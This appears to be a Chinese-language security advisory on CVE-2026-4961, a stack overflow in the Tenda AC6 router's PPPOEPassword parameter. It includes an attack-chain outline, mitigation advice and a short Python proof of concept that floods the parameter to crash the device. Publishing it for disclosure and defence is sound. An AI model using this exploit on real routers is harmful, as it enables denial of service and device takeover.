IPBUF安全漏洞报告
English
CVE-2026-4961 CVSS 8.8 高危

CVE-2026-4961 Tenda AC6 栈溢出漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-4961
漏洞类型
缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC6 路由器

相关标签

缓冲区溢出TendaIoT远程代码执行RCECVE-2026-4961

漏洞概述

Tenda AC6路由器固件版本15.03.05.16被曝出存在高危安全漏洞。该漏洞源于/goform/QuickIndex接口在处理POST请求时未正确过滤参数。攻击者可通过操纵PPPOEPassword参数引发基于栈的缓冲区溢出。由于该漏洞允许远程利用且无需用户交互,攻击者可借此导致设备拒绝服务或执行任意代码,进而完全控制设备。鉴于利用代码已公开,此风险极高,需紧急处理。

技术细节

该漏洞位于Tenda AC6路由器的Web服务器组件中,具体影响文件/goform/QuickIndex下的formQuickIndex函数。在处理用户提交的POST请求时,程序获取了PPPOEPassword参数,但未执行任何长度校验或安全过滤机制,直接使用不安全的字符串拷贝函数将用户输入的数据复制到栈上的固定大小缓冲区中。当输入数据长度超过缓冲区容量时,多余的数据将覆盖栈帧上的返回地址及相邻内存区域。攻击者可以构造特定的字节序列覆盖返回地址,从而劫持程序执行流,跳转到预设的Shellcode执行恶意指令。CVSS 3.1评分为8.8分,表明攻击者仅需低权限即可通过网络发起攻击,且无需用户干预,成功利用可导致机密性、完整性及可用性的全面丧失。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别出运行固件版本15.03.05.16的Tenda AC6路由器,并确认其管理接口(端口80/443)可访问。
STEP 2
漏洞利用
攻击者向目标路由器的/goform/QuickIndex接口发送特制的HTTP POST请求,其中包含超长的PPPOEPassword参数数据。
STEP 3
溢出触发
路由器处理请求时,由于未检查长度,超长数据覆盖栈上的返回地址,触发缓冲区溢出,导致程序流程崩溃或被劫持。
STEP 4
执行代码
如果攻击者精心构造了Payload覆盖返回地址指向Shellcode,设备将执行任意代码,攻击者从而获得设备控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Tenda AC6 router target_url = "http://192.168.0.1/goform/QuickIndex" # Malicious payload to trigger stack-based buffer overflow # Sending a large string of 'A's (0x41) to overwrite the return address payload = "A" * 1000 # POST data containing the vulnerable parameter data = { "PPPOEPassword": payload } try: # Send the malicious POST request response = requests.post(target_url, data=data, timeout=5) print(f"Request sent with status code: {response.status_code}") # Check if service is disrupted (DoS) or if behavior changes if response.status_code != 200: print("Potential crash detected.") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")

影响范围

Tenda AC6 15.03.05.16

防御指南

临时缓解措施
如果无法立即升级固件,建议将路由器放置在防火墙后,并禁用远程Web管理功能。仅允许可信的局域网IP地址访问管理后台,同时监控路由器的异常流量和重启行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表